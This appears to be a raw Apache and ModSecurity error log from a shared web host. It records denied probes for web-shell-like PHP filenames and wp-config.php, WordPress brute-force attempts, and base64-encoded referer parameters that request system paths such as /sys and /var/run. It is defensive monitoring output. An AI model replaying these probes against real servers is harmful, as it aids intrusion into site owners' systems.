https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:06:54.313514 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:06:54.373226 2026] [security2:error] [pid 531797:tid 532005] [client 191.234.188.123:47948] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/less.php"] [unique_id "ai3wnsTA7b1mZrmcA-8BkwAAAh0"] [Sat Jun 13 18:06:54.377676 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:06:54.378082 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:06:54.411823 2026] [access_compat:error] [pid 531797:tid 531992] [remote 57.141.14.61:20308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:54.412280 2026] [access_compat:error] [pid 531797:tid 531992] [remote 57.141.14.61:20308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:54.522310 2026] [security2:error] [pid 531797:tid 531999] [client 91.92.42.86:10386] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.eoz.fiz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3wnsTA7b1mZrmcA-8BmgAAAhc"], referer: http://mail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:54.525623 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.76:28231] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:54.526069 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.76:28231] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:54.739466 2026] [security2:error] [pid 531155:tid 531397] [client 89.251.0.67:61665] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 67.0.251.89.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.expertappliance.org"] [uri "/wp-content/themes.php"] [unique_id "ai3wnimiP80klyS0Nnrg4wAAAXo"] [Sat Jun 13 18:06:54.744944 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.36:45192] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:54.745412 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.36:45192] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:54.780400 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvaWQ= [Sat Jun 13 18:06:54.780860 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvaWQ= [Sat Jun 13 18:06:54.782337 2026] [security2:error] [pid 531797:tid 531925] [remote 17.246.19.47:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 47.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wnsTA7b1mZrmcA-8BqAACVz0"] [Sat Jun 13 18:06:54.812496 2026] [security2:error] [pid 531155:tid 531356] [client 191.233.234.186:33848] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "gy.alvasonline.com"] [uri "/cakr3xr4.php"] [unique_id "ai3wnimiP80klyS0Nnrg5wAAAVE"] [Sat Jun 13 18:06:54.857400 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2s= [Sat Jun 13 18:06:54.857860 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2s= [Sat Jun 13 18:06:55.121977 2026] [ssl:error] [pid 531155:tid 531377] [client 3.151.194.164:60952] AH02032: Hostname wisebidestimate.com provided via SNI and hostname avions-biddingestimates.com provided via HTTP have no compatible SSL setup for policy 'secure', referer: https://wisebidestimate.com/ [Sat Jun 13 18:06:55.156384 2026] [security2:error] [pid 531797:tid 531927] [remote 17.22.237.105:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 105.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wn8TA7b1mZrmcA-8BtQACaz8"] [Sat Jun 13 18:06:55.223315 2026] [security2:error] [pid 531797:tid 532086] [client 191.234.188.123:47980] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/xozx.php"] [unique_id "ai3wn8TA7b1mZrmcA-8BugAAAmw"] [Sat Jun 13 18:06:55.367929 2026] [access_compat:error] [pid 531155:tid 531229] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:06:55.368358 2026] [access_compat:error] [pid 531155:tid 531229] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:06:55.371215 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0 [Sat Jun 13 18:06:55.371679 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0 [Sat Jun 13 18:06:55.538536 2026] [access_compat:error] [pid 531155:tid 531257] [remote 57.141.14.102:20967] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:55.538965 2026] [access_compat:error] [pid 531155:tid 531257] [remote 57.141.14.102:20967] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:55.703007 2026] [security2:error] [pid 531797:tid 532099] [client 191.233.234.186:41409] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.kawasakiz1.com"] [uri "/fff.php"] [unique_id "ai3wn8TA7b1mZrmcA-8BwwAAAng"] [Sat Jun 13 18:06:55.754054 2026] [access_compat:error] [pid 531797:tid 531908] [remote 57.141.14.6:36330] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:55.754495 2026] [access_compat:error] [pid 531797:tid 531908] [remote 57.141.14.6:36330] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:55.757295 2026] [security2:error] [pid 531155:tid 531223] [remote 74.7.227.53:57230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3wnymiP80klyS0NnrhCAABT0M"], referer: https://northsecuritysystems.com/?product=domo-ip-8-megapixel-lente-mot-2-8-a-12-mm-darkfighter-wdr-120-db-ik10-ir-30-mts-conteo-facial-deteccion-facial-interior-poe-busqueda-por-atributos-microfono-integrado [Sat Jun 13 18:06:55.804936 2026] [security2:error] [pid 531155:tid 531306] [client 148.113.209.179:33198] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wnymiP80klyS0NnrhCQAAAR8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:06:55.832770 2026] [security2:error] [pid 531155:tid 531367] [client 89.251.0.47:32133] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 47.0.251.89.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.expertappliance.org"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "ai3wnymiP80klyS0NnrhCwAAAVw"] [Sat Jun 13 18:06:55.839724 2026] [access_compat:error] [pid 531155:tid 531258] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDc= [Sat Jun 13 18:06:55.840162 2026] [access_compat:error] [pid 531155:tid 531258] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDc= [Sat Jun 13 18:06:55.877527 2026] [security2:error] [pid 531155:tid 531364] [client 172.56.168.133:34945] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3wnymiP80klyS0NnrhDQAAAVk"] [Sat Jun 13 18:06:55.877694 2026] [security2:error] [pid 531155:tid 531364] [client 172.56.168.133:34945] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3wnymiP80klyS0NnrhDQAAAVk"] [Sat Jun 13 18:06:55.899503 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9saWI2NA== [Sat Jun 13 18:06:55.899982 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9saWI2NA== [Sat Jun 13 18:06:56.034392 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.105:28396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:56.034856 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.105:28396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:56.051380 2026] [security2:error] [pid 531155:tid 531310] [client 191.233.234.186:44231] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/ops.php"] [unique_id "ai3woCmiP80klyS0NnrhGAAAASM"] [Sat Jun 13 18:06:56.086485 2026] [security2:error] [pid 531155:tid 531385] [client 148.113.209.179:33204] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3woCmiP80klyS0NnrhGgAAAW4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:06:56.092681 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.31:42212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:56.093192 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.31:42212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:56.145358 2026] [security2:error] [pid 531797:tid 532068] [client 172.171.3.232:18195] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/unloathness.php"] [unique_id "ai3woMTA7b1mZrmcA-8BzwAAAlo"] [Sat Jun 13 18:06:56.283437 2026] [security2:error] [pid 531797:tid 532109] [client 20.151.217.54:48597] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3woMTA7b1mZrmcA-8B1AAAAoI"] [Sat Jun 13 18:06:56.377740 2026] [access_compat:error] [pid 531155:tid 531162] [remote 57.141.14.94:26026] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:56.378041 2026] [access_compat:error] [pid 531155:tid 531162] [remote 57.141.14.94:26026] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:56.416274 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:06:56.416737 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:06:56.482493 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly92YXIvcnVu [Sat Jun 13 18:06:56.482934 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly92YXIvcnVu [Sat Jun 13 18:06:56.573394 2026] [security2:error] [pid 531797:tid 532051] [client 20.29.78.145:46922] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/pucci.php"] [unique_id "ai3woMTA7b1mZrmcA-8B2QAAAkk"] [Sat Jun 13 18:06:56.663913 2026] [security2:error] [pid 531797:tid 531970] [remote 17.246.23.154:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 154.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3woMTA7b1mZrmcA-8B3wACV2k"] [Sat Jun 13 18:06:56.676471 2026] [security2:error] [pid 531797:tid 532048] [client 191.233.234.186:33809] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "gy.alvasonline.com"] [uri "/yoy123.php"] [unique_id "ai3woMTA7b1mZrmcA-8B4QAAAkY"] [Sat Jun 13 18:06:56.948222 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 